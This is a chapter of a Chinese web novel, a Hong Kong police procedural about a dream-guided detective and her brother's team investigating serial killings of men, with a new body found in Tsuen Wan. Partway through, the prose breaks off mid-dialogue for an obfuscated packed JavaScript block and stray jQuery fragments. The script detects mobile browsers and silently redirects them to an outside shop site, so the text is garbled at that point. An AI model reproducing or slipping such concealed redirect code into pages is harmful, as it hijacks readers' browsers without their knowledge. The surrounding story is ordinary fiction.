黎阳被骂的灰头土脸从John办公室出来，看到方棋他们担忧的眼神他自己倒是先缓过来了。


    “我没事，说回案子，廷杰他们回来了吗？死者的尸检报告拿回来了吗？”


    方棋：“廷哥他们还没回来，尸检报告拿到了，死者死因和何有才、张强一模一样，这次死者身上的死前伤口更多，死亡时间是昨天早上十点到十一点。”


    尸检时间越早，死亡时间范围越小。


    昨天？黎暖昨天并没有做梦，看来这人也不是她认识的人，而且凶手也不是她最近调查时见过的人。


    之前她还以为她能梦到那几起谋杀案是因为受害人或者凶手跟她有交集。


    现在这些案子让她有了更精准的判断，如果凶手是她认识的人，那么他犯过的案子黎暖完全都可以梦到犯案过程。


    可如果凶手不是她认识，或者说是见过面的人，那么只有受害人是她认识的人，才可能被她梦到受害过程。


    方棋刚说完话，郭廷杰和刘海洋就回来了，带来了最新受害人的基本情况。


    “死者名叫姚佳宁，家住西贡，平时在家做做家务带带孩子，和她先生陆丰收关系不错，两人生了一儿两女，儿子已经上中学了，两个女儿还是小学生。”


    “尸体被发现的地方距离她家不足一哩（一公里多）。”


    “不管是他们家附近的街坊邻居，还是儿女们，都说姚佳宁是个好太太，好妈妈。”


    问话的时候会问这一点，也是他们抱着一种万一的心态，虽然说女人家暴男人的事情很少，但万一呢？


    万一姚佳宁就是一个特例呢，万一她先生也跟娘们似的娇娇弱弱的。


    可惜的是没有万一。


    现在连受害人性别都不一样，黎暖只能从最表象的猜测，“这几家就属何家最富有。”


    “最富有吗？姚佳宁住的可是自己买的楼房，何家只是住村屋，这么看起来富有的是陆家吧。”李鹏远可不这么觉得，“你怎么看出何家有钱的？何有才只是一个村长，就算再有钱也有钱不到哪里去吧。”


    黎暖解释，“何田凤手上的戒指，脖子上戴的项链上面的钻石和宝石价值不菲，加起来至少要十几万，而且她身上的香水是Chanel最新款。”


    现在的楼房便宜点的也只要十几万，何田凤相当于把一套楼房带在身上。


    李鹏远：“何田凤自己没有工作，又不是富家千金，光靠何有才的村长收入怎么可能买得起那么贵的首饰，这么看起来何有才身上还有财务问题，得通知廉政公署分所好好查查他。”


    郭廷杰也是围村人，听到这话见怪不怪道：“村长有许多隐形收入，何家有钱没什么奇怪的，而且还都是上面默许的，毕竟水至清则无鱼。”


    黎暖：“那四个受害人？”


    她虽然跟他们说的时候把张强的死因归咎于灭口，但从她梦境中来看，凶手杀他的原因和前两个死者应该是一样的。


    只是不好解释她的行为才撒了一点小谎。


    所以她自己说的时候还是更容易把四个受害人关联起来。


    “呦，这不是我们总区的大神探黎sir嘛，难怪能让我们总区闻名整个香江，听说大sir还要‘嘉奖’你，真不愧是我们警界的精英，跟我说说呗，你是怎么办到的。”


    这声音一听就让人不适，黎暖顺着声音往大办公室大门看去，辛格倚靠在门框上，脸上尽是幸灾乐祸的笑容。


    辛格也看到坐在桌子前面的黎暖，眼睛眯成一条缝，他之前跟人打听过，有那知情的人可是说了，是黎暖最先提起凶手有可能对有家暴倾向的男人有着仇视心。


    这怎么可能？


    即使他不是香江人，他也了解现在香江男人对于他们的女人有着非同寻常的掌控欲，只要搞定了娘家人，别说是打老婆了，就是把老婆打残打死都没有人管。


    而那些被打的女人要么忍，要么逃，怎么可能有胆子报复男人们呢。


    更别说男女之间体力力量的差距，一开始死的那三个人身形健硕，普通的女人两三个加起来也打不过他们其中一个吧。


    “黎sir，作为同僚我奉劝你一句，这当差啊，还是得公私分明才行，一个女人说什么你就听什么，我看你不应该当警察，应该去庙街卖胸罩哈哈哈……”


    听辛格这么说，黎暖不由一怔，睨了眼齐刷刷瞟过来的眼睛，心里很淡定。


    她不怕被人迁怒，反正她参与案件最主要的原因是为了推进梦境，他们的态度如何她不关心。


    怎么说呢？其实辛格这样看不起女人，在女人面前高高在上的态度才是这个社会男性的主流态度。


    不说大哥他们这组人的态度，就是白宇帆他们那一组人对待她的态度都算是这个社会男性面对女性的中上上态度。


    所以她之前才会不着痕迹的在他们面前透露她所知道的案件线索。


    像他们警察查案大多经验丰富，这是好事，但也有可能让他们忽视了最表层的证据，这些表层证据有时候又是关键线索。


    但要是他们因为她给错一次线索就怪她的话，那她也不是不会作壁上观的。


    还好，黎暖没在他们眼里发现一丝责怪的意味，顾越更是和黎阳你一言我一语的把辛格怼走了。


    “其实我们之前的办案过程并没有任何问题，你给的线索也没错，只是连环杀人犯一般都有很强烈的反侦查意识，而且也未必有其固定的习惯，甚至有可能凶手和三位死者都没有关系。”顾越还安慰黎暖道。


    黎阳：“你的意思是犯下一连串案子的凶手犯案并没有特定的模式？”


    方棋寒毛竖立，连环凶杀案本来就难查，如果凶手只是因为对方惹了他的眼就动手，而不是选择特定的人，那他们更是找不到凶手的踪迹，因为全香江的人都有可能是他的目标。


    李鹏远也长叹一口气，“这下记者又要在报纸上大书特书了，真是关老爷睁了眼，这种案子都能被我们碰上。”


    他们都被这案子整得灰心丧气的，心里很想早点破案，倒不是为了破案能获得的那么些奖金，而是不想再有人遇害。


    今天是回家看阿爷的日子，黎暖把大哥也拉上了，“大哥你就算想要尽快破案，也不急在这一顿饭的时间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869463|180267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    黎阳答应了，他也得好好想想接下去该往哪个方向查，多年的办案经验让他更倾向于是凶手有固定的模式，只是那种模式他们还没有找到。


    要真如顾越猜测的那般，死亡的人数应该还要更多。


    黎暖进了门就发现阿爷正拉着二姐讨论这起连环杀人案，看到她们兄妹进门招手让她们过去。


    “阿阳，真的是变态杀手杀人吗？是在路上碰到就杀人……”


    阿爷人老心不老，八卦起来可是精神得很。


    黎阳面对阿爷的一连串问题，能回答的都回答了。


    反正他们现在连一个嫌疑人都没有抓到，也就没有任何秘密可言。


    八卦完精神百倍的阿爷在孙子孙女们的陪伴下胃口大开。


    正吃着饭，客厅里的电话就传来了铃声，黎阳好似有预感是找他的，还没等管叔拿起桌上的电话就接起来，不出所料电话那头传来方棋的声音，“头儿，荃湾又发现一具尸体，听说也是被摆成跪拜姿态，可能与我们的案件有关。”


    黎阳心里一个咯噔，这才过去多久，凶手这么快又犯案了。


    黎阳要赶过去现场，黎暖想跟他一块去，被阿爷拦住了，他觉得案发现场一定很血腥，不适合阿暖这样的娇娇女观看。


    黎阳开快车到了荃湾案发现场，下车快步走向警戒线，方棋也刚好赶到迎上去，他很能理解头儿的焦灼，香江警队声明扫地，想要挽回名声最好的办法就是以最快的速度破案。


    两人说话间已经过了军装警的拉起的警戒线。


    杨法医正在验尸。


    方棋在看清尸体面容时停住脚步，“我认得他，他就是我被冤枉打人事件的证人。”


    是他？黎阳微微有些惊讶，很快正了神色，“你先不要接触这件案件的现场物证，等请凌晨回来协助调查再说？”


    方棋点点头。


    黎暖好不容易说服阿爷才出门，她到现场的时候警方就已经把现场附近都粗粗侦查了一遍。


    和前面几个案发现场一样，这里照旧不是第一案发现场。


    到的晚没听到大哥和方琪的对话，她也就没发现这次的死者就是之前指认方棋跟踪凌晨的证人，但她发现了也没用，她之前根本没有见过那个证人，也就梦不到他的受害过程了。


    *


    凌晨被带到九龙总区问话，方棋在审讯室外面转圈圈，等到刘海洋两人出来，他迫不及待的问道：“怎么样？凌晨怎么说？”


    他和凌晨之前有过恩怨，所以凌晨的审讯是由其他人完成。


    刘海洋：“他说案发时和朋友一起喝酒，你放心，我们会去调查他的不在场证明的。”


    他没有说的是凌晨在讯问过程中，觉得他们警方故意冤枉他。


    还说方棋才是凶手，他们警方包庇自己人。


    黎暖没有关注凌晨，她很确定凌晨不是凶手，如果他是凶手的话那么这所有的案件，就会像是孟峒辉所犯的连环绑架案一样都被她梦到案发过程，而不是只梦到张强的受害过程。


    之后的调查也的确如黎暖所料的，跟凌晨没有关系。